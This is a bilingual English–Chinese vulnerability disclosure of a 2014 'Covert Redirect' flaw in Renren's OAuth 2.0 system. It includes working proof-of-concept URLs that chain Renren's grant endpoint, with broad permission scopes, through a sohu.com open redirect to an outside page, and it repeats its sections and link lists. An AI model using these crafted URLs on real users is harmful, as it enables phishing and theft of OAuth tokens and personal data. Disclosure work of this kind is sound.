RenRen.com Online Website OAuth 2.0 Covert Redirect Web Security Bugs (Information Leakage & Open Redirect)
(1) Domain:
renren.com
"The Renren Network (Chinese: 人人网; pinyin: Rénrénwǎng; literally: "Everyone's Website"), formerly known as the Xiaonei Network (Chinese: 校内网; literally: "on-campus network") is a Chinese social networking service. It is popular among college students. In February 2011, Renren made a pre-IPO announcement that it had 160 million registered users. Later, in April 2011, it had to update its statement accurately to "a total of 31 million active monthly users." Renren Inc. has its headquarters in Chaoyang District, Beijing. Renren also has offices in Shanghai and Guangzhou." (Wikipedia)
(2) Vulnerability Description:
Renren web application has a computer security problem. Hacker can exploit it by Covert Redirect cyber attacks.
The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04)，Apple Safari 6.1.6 of Mac OS X Lion 10.7.
(2.1) Vulnerability Detail:
Renren's OAuth 2.0 system is susceptible to Attacks. More specifically, the authentication of parameter "&redirct_uri" in OAuth 2.0 system is insufficient. It can be misused to design Open Redirect Attacks to Renren.
At the same time, it can be used to collect sensitive information of both third-party app and users by using the following parameters (sensitive information is contained in HTTP header.),
"&response_type"=sensitive_info,token...
"&scope"=get_user_info%2Cadd_share...
It increases the likelihood of successful Open Redirect Attacks to third-party websites, too.
The vulnerabilities occurs at page "/oauth/grant?" with parameter "&redirect_uri", e.g.
Before acceptance of third-party application:
When a logged-in Renren user clicks the URL ([1]) above, he/she will be asked for consent as in whether to allow a third-party website to receive his/her information. If the user clicks OK, he/she will be then redirected to the URL assigned to the parameter "&redirect_uri".
If a user has not logged onto Renren and clicks the URL ([1]) above, the same situation will happen upon login.
After acceptance of third-party application:
A logged-in Renren user would no longer be asked for consent and could be redirected to a webpage controlled by the attacker when he/she clicks the URL ([1]).
For a user who has not logged in, the attack could still be completed after a pop-up page that prompts him/her to log in.
(2.1.1) Renren would normally allow all the URLs that belong to the domain of an authorized third-party website. However, these URLs could be prone to manipulation. For example, the "&redirect_uri" parameter in the URLs is supposed to be set by the third-party websites, but an attacker could change its value to make Attacks.
Hence, a user could be redirected from Renren to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site unwillingly. This is as if the user is redirected from Renren directly. The number of Renren's OAuth 2.0 client websites is so huge that such Attacks could be commonplace.
Before acceptance of the third-party application, Renren's OAuth 2.0 system makes the redirects appear more trustworthy and could potentially increase the likelihood of successful Open Redirect Attacks of third-party website.
Once the user accepts the application, the attackers could completely bypass Renren's authentication system and attack more easily.
(2.2) Use one of webpages for the following tests. The webpage is "https://zuiyuxiang.wordpress.com/". Can suppose it is malicious and contains code that collect sensitive information of both third-party app and users.
Below is an example of a vulnerable third-party domain:
sohu.com
Vulnerable URL in this domain:
Vulnerable URL from Renren that is related to sohu.com:
POC:
Blog Detail:
http://tetraph.blogspot.com/2014/05/renrencom-oauth-20-covert-redirect.html
Related Articles:
http://tetraph.com/security/covert-redirect/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://www.inzeed.com/kaleidoscope/covert-redirect/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://itsecurity.lofter.com/post/1cfbf9e7_7069705
http://tetraph.blog.163.com/blog/static/23460305120144625556157/
https://mathfas.wordpress.com/2014/10/15/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://computerobsess.blogspot.com/2014/10/renrencom-oauth-20-covert-redirect.html
https://twitter.com/buttercarrot/status/558906041404911616
https://vulnerabilitypost.wordpress.com/2014/10/15/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://whitehatview.tumblr.com/post/119488487851/securitypost-itinfotech-falha-de-seguranca
http://securityrelated.blogspot.com/2014/10/renrencom-oauth-20-covert-redirect.html
http://tetraph.blogspot.com/2014/05/renrencom-oauth-20-covert-redirect.html
(3) What is Covert Redirect?
Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS (Cross-site Scripting) vulnerabilities in third-party applications.
Covert Redirect is also related to single sign-on. It is known by its influence on OAuth and OpenID. Hacker may use it to steal users' sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect can work together with CSRF (Cross-site Request Forgery) as well. After Covert Redirect was published, it is kept in some common databases such as SCIP, OSVDB, Bugtraq, and X-Force. Its scipID is 13185, while OSVDB reference number is 106567. Bugtraq ID: 67196. X-Force reference number is 93031.
Discover and Reporter:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)Related Articles:
http://tetraph.com/security/covert-redirect/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://www.inzeed.com/kaleidoscope/covert-redirect/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://itsecurity.lofter.com/post/1cfbf9e7_7069705
http://tetraph.blog.163.com/blog/static/23460305120144625556157/
https://mathfas.wordpress.com/2014/10/15/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://computerobsess.blogspot.com/2014/10/renrencom-oauth-20-covert-redirect.html
https://twitter.com/buttercarrot/status/558906041404911616
https://vulnerabilitypost.wordpress.com/2014/10/15/renren-com-oauth-2-0-covert-redirect-vulnerability-infomation-leakage-open-redirect/
http://whitehatview.tumblr.com/post/119488487851/securitypost-itinfotech-falha-de-seguranca
http://securityrelated.blogspot.com/2014/10/renrencom-oauth-20-covert-redirect.html
=================
人人网 (renren.com) 网站 OAuth 2.0 隐蔽重定向 (Covert Redirect) 网络安全漏洞 (信息泄漏 & 公开重定向)
(1) 域名:
renren.com
"人人网是中国领先的实名制社交网络平台。人人网在用户数、页面浏览量、访问次数和用户花费时长等方面均占据优势地位。用户可以在这一平台上相互交流，分享信息和用户自创内容，玩在线游戏，听音乐，参与团购，并享受一系列其它服务。2015年1月30日，人人网发消息称将下线站内信功能。" (百度百科)
Renren 的 OAuth 2.0 系统可能遭到攻击。更确切地说， Renren 对 OAuth 2.0 系统的 parameter “&redirect_uri“ 验证不够充分。可以用来构造对 Renren 的 URL跳转 攻击。
与此同时，这个漏洞可以用下面的参数来收集第三方 App 和 用户 的敏感信息（敏感信息包含在 HTTP header里），
"&response_type"=sensitive_info,token,code...a
"&scope"=get_user_info,email...
它也增加了对第三方网站 URL跳转 攻击的成功率。
漏洞地点 "/oauth/grant?"，参数"&redirect_uri", e.g.
http://graph.renren.com /oauth/grant?client_id=7e7b2e3482954a5a84403d718e563c30& response_type=code&display=page& scope=read_user_blog+read_user_checkin+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+read_user_album+read_user_comment+read_user_share+read_user_request+publish_checkin+publish_blog+publish_feed+publish_share+write_guestbook+send_invitation+send_request+send_message+send_notification+photo_upload+status_update+create_album+publish_comment+operate_like+email& amp;secure=true&origin=00000&x_renew=true& redirect_uri=http://store.tv.sohu.com/web/login.do?bru=http: //tetraph.com/essayjeans/seasons/祭春.html [1]
同意三方 App 前：
当一个已经登录的 Renren 用户点击上面的 URL ([1]), 对话框会询问他是否接受第三方 App 接收他的信息。如果同意，他会被跳转到 参数 "&redirect_uri" 的 URL。
如果没有登录的Renren 用户点击 URL ([1]), 他登录后会发生同样的事情。
同意三方 App 后：
已经登录的 Renren 用户 不会再被询问是否接受 三方 App。当他点击 URL ([1]) 时，他会被直接跳转到攻击者控制的页面。
如果 Renren 用户没有登录，攻击依然可以在要求他登录的Renren的对话框被确认后完成（这个过程不会提示任何和三方 App 有关的内容）。
(2.1.1) Renren 一般会允许属于已被验证过得三方 App domain 的所有 URLs。 然而，这些 URLs 可以被操控。比如，参数 "&redirect_uri" 是被三方 App 设置的，但攻击者可以修改此参数的值。
因此，Renren 用户意识不到他会被先从 Renren 跳转到第三方 App 的网页，然后从此网页跳转到有害的网页。这与从 Renren 直接跳转到有害网页是一样的。
因为 Renren 的 OAuth 2.0 客户很多，这样的攻击可以很常见。
在同意三方 App 之前，Renren 的 OAuth 2.0 让用户更容易相信被跳转的页面是安全的。这增加了三方 App 被 URL跳转 攻击的成功率。
同意三方 App 后， 攻击者可以完全绕过 Renren 的 URL跳转 验证系统。
(2.2) 用一个页面进行了测试， 页面是 "http://mathdaily.lofter.com/". 可以假定它是有害的，并且含有收集三方 App 和用户敏感信息的 code。
下面是一个有漏洞的三方 domain:
sohu.com
这个 domain 有漏洞的 URL:
http://store.tv.sohu.com/web/login.do?bru=http://tetraph.com/essayjeans/seasons/祭春.html
Renren 与 sohu.com 有关的有漏洞的 URL:
http://graph.renren.com/oauth/grant?client_id=7e7b2e3482954a5a84403d718e563c30&response_type=code&display=page&scope=read_user_blog+read_user_checkin+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+read_user_album+read_user_comment+read_user_share+read_user_request+publish_checkin+publish_blog+publish_feed+publish_share+write_guestbook+send_invitation+send_request+send_message+send_notification+photo_upload+status_update+create_album+publish_comment+operate_like+email&secure=true&origin=00000&x_renew=true&redirect_uri=https://passport.sohu.com/openlogin/callback/renren
POC:
http://graph.renren.com /oauth/grant?client_id=7e7b2e3482954a5a84403d718e563c30& response_type=code&display=page& scope=read_user_blog+read_user_checkin+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+read_user_album+read_user_comment+read_user_share+read_user_request+publish_checkin+publish_blog+publish_feed+publish_share+write_guestbook+send_invitation+send_request+send_message+send_notification+photo_upload+status_update+create_album+publish_comment+operate_like+email& amp;secure=true&origin=00000&x_renew=true& redirect_uri=http://store.tv.sohu.com/web/login.do?bru=http: //tetraph.com/essayjeans/seasons/祭春.html
(1) 域名:
renren.com
"人人网是中国领先的实名制社交网络平台。人人网在用户数、页面浏览量、访问次数和用户花费时长等方面均占据优势地位。用户可以在这一平台上相互交流，分享信息和用户自创内容，玩在线游戏，听音乐，参与团购，并享受一系列其它服务。2015年1月30日，人人网发消息称将下线站内信功能。" (百度百科)
(2) 漏洞描述:
人人网网站有有一个计算机安全问题，黑客可以对它进行隐蔽重定向 (Covert Redirect) 网络攻击。
这个漏洞不需要用户登录，测试是基于微软 Windows 8 的 IE (10.0.9200.16750); Ubuntu (14.04) 的 Mozilla 火狐 (Firefox 34.0) 和 谷歌 Chromium 39.0.2171.65-0; 以及苹果 OS X Lion 10.7 的 Safari 6.16。| (2.1) 漏洞细节: |
与此同时，这个漏洞可以用下面的参数来收集第三方 App 和 用户 的敏感信息（敏感信息包含在 HTTP header里），
"&response_type"=sensitive_info,token,code...a
"&scope"=get_user_info,email...
它也增加了对第三方网站 URL跳转 攻击的成功率。
漏洞地点 "/oauth/grant?"，参数"&redirect_uri", e.g.
http://graph.renren.com /oauth/grant?client_id=7e7b2e3482954a5a84403d718e563c30& response_type=code&display=page& scope=read_user_blog+read_user_checkin+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+read_user_album+read_user_comment+read_user_share+read_user_request+publish_checkin+publish_blog+publish_feed+publish_share+write_guestbook+send_invitation+send_request+send_message+send_notification+photo_upload+status_update+create_album+publish_comment+operate_like+email& amp;secure=true&origin=00000&x_renew=true& redirect_uri=http://store.tv.sohu.com/web/login.do?bru=http: //tetraph.com/essayjeans/seasons/祭春.html [1]
同意三方 App 前：
当一个已经登录的 Renren 用户点击上面的 URL ([1]), 对话框会询问他是否接受第三方 App 接收他的信息。如果同意，他会被跳转到 参数 "&redirect_uri" 的 URL。
如果没有登录的Renren 用户点击 URL ([1]), 他登录后会发生同样的事情。
同意三方 App 后：
已经登录的 Renren 用户 不会再被询问是否接受 三方 App。当他点击 URL ([1]) 时，他会被直接跳转到攻击者控制的页面。
如果 Renren 用户没有登录，攻击依然可以在要求他登录的Renren的对话框被确认后完成（这个过程不会提示任何和三方 App 有关的内容）。
(2.1.1) Renren 一般会允许属于已被验证过得三方 App domain 的所有 URLs。 然而，这些 URLs 可以被操控。比如，参数 "&redirect_uri" 是被三方 App 设置的，但攻击者可以修改此参数的值。
因此，Renren 用户意识不到他会被先从 Renren 跳转到第三方 App 的网页，然后从此网页跳转到有害的网页。这与从 Renren 直接跳转到有害网页是一样的。
因为 Renren 的 OAuth 2.0 客户很多，这样的攻击可以很常见。
在同意三方 App 之前，Renren 的 OAuth 2.0 让用户更容易相信被跳转的页面是安全的。这增加了三方 App 被 URL跳转 攻击的成功率。
同意三方 App 后， 攻击者可以完全绕过 Renren 的 URL跳转 验证系统。
(2.2) 用一个页面进行了测试， 页面是 "http://mathdaily.lofter.com/". 可以假定它是有害的，并且含有收集三方 App 和用户敏感信息的 code。
下面是一个有漏洞的三方 domain:
sohu.com
这个 domain 有漏洞的 URL:
http://store.tv.sohu.com/web/login.do?bru=http://tetraph.com/essayjeans/seasons/祭春.html
Renren 与 sohu.com 有关的有漏洞的 URL:
http://graph.renren.com/oauth/grant?client_id=7e7b2e3482954a5a84403d718e563c30&response_type=code&display=page&scope=read_user_blog+read_user_checkin+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+read_user_album+read_user_comment+read_user_share+read_user_request+publish_checkin+publish_blog+publish_feed+publish_share+write_guestbook+send_invitation+send_request+send_message+send_notification+photo_upload+status_update+create_album+publish_comment+operate_like+email&secure=true&origin=00000&x_renew=true&redirect_uri=https://passport.sohu.com/openlogin/callback/renren
POC:
http://graph.renren.com /oauth/grant?client_id=7e7b2e3482954a5a84403d718e563c30& response_type=code&display=page& scope=read_user_blog+read_user_checkin+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+read_user_album+read_user_comment+read_user_share+read_user_request+publish_checkin+publish_blog+publish_feed+publish_share+write_guestbook+send_invitation+send_request+send_message+send_notification+photo_upload+status_update+create_album+publish_comment+operate_like+email& amp;secure=true&origin=00000&x_renew=true& redirect_uri=http://store.tv.sohu.com/web/login.do?bru=http: //tetraph.com/essayjeans/seasons/祭春.html
POC 视频:
https://www.youtube.com/watch?v=D-X8qAO2q_I
博客细节:
http://tetraph.blogspot.com/2014/05/renrencom-oauth-20-covert-redirect.html
(3) 什么是隐蔽重定向?
隐蔽重定向 (Covert Redirect) 是一个计算机网络安全漏洞。这个漏洞发布于 2014年5月。漏洞成因是网络应用软件对跳转到合作者的跳转没有充分过滤。这个漏洞经常利用第三方网站 (包括合作网站) 的公开重定向 (Open Redirect) 或者 跨站脚本漏洞 (XSS - Cross-site Scripting) 问题。
隐蔽重定向也对单点登录 (single sign-on) 有影响。最初发布的是对两款常用登录软件 OAuth 2.0 和 OpenID 的影响。黑客可以利用真实的网站进行网络钓鱼，从而窃取用户敏感信息。几乎所用提供 OAuth 2.0 和 OpenID 服务的网站都被影响。隐蔽重定向还可以和 跨站请求伪造 (CSRF - Cross-site Request Forgery) 一起利用。它的 scipID ID 是 13185; OSVDB ID 是 106567; Bugtraq ID 是 67196; X-Force ID 是 93031。
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